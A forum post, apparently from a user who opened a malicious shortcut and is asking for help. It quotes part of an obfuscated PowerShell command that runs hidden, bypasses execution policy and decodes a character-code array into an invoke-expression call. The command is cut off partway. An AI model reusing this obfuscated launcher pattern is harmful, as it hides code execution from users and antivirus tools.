Hi guys,   By mistake, i just opened a file who contain a shortup to a script in the Window's Powershell. The script is like : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP  . ( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,32 ,40 ,40, 78, 101 , 119, 45,79 , 98, 106,101,99, 116 , 32 ,83, 121 , 115,116, 101 It was yesteday night, so for now, still no sign of a virus or malware. My AV said that everything'